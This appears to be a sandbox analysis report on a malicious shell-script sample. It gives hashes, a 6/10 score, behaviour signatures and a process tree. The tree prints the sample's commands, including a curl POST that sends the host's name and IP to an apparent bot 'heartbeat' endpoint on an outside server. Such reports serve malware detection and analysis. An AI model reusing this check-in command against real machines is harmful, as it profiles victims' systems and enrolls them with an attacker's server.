Overview

overview

6

Static

static

1

6b94e16e48...end.sh

ubuntu-18.04-amd64

6

6b94e16e48...end.sh

debian-9-armhf

6

6b94e16e48...end.sh

debian-9-mips

6

6b94e16e48...end.sh

debian-9-mipsel

6

Analysis

  • max time kernel
    19s
  • max time network
    129s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    13/09/2026, 17:02

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    6b94e16e486df4ae0960c0cf0ce0e0425a5b9a4b98ea18503468d4cdde93409e_pre-append.sh
  • Size 832KB
  • Sample260913-vkeyqssxhy
  • SHA256 ee84f10299b24b3098f68a237ac80e23ed954c3766ad27896530ca0c2a3aba87
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
6/10
discovery

Malware Config

Signatures

  • Looks up external IP address via web service 1 TTPs 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery

Processes

  • /tmp/6b94e16e486df4ae0960c0cf0ce0e0425a5b9a4b98ea18503468d4cdde93409e_pre-append.sh
    /tmp/6b94e16e486df4ae0960c0cf0ce0e0425a5b9a4b98ea18503468d4cdde93409e_pre-append.sh
    1⤵
      PID:1490
      • /usr/bin/awk
        awk "-F\"" "/IOPlatformUUID/{print \$4}"
        2⤵
        • Reads runtime system information
        PID:1493
      • /bin/hostname
        hostname
        2⤵
          PID:1494
        • /usr/bin/curl
          curl -s https://api.ipify.org
          2⤵
          • System Network Configuration Discovery
          PID:1496
        • /usr/bin/curl
          curl -s -X POST https://pilautfile.com/api/bot/heartbeat -H "Content-Type: application/json" -d "{\"bot_id\":\"\",\"build_id\":\"d91d844ad8920458ee99e707b1a203cba8df76ce960195f0993eb3b0e96d893f\",\"hostname\":\"ubuntu1804-amd64-20260513-en-6\",\"ip\":\"85.203.46.61\",\"os_version\":\"\"}"
          2⤵
            PID:1506
          • /bin/sed
            sed -n "s/.*\"code\":\"\\([^\"]*\\)\".*/\\1/p"
            2⤵
            • Reads runtime system information
            PID:1510

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads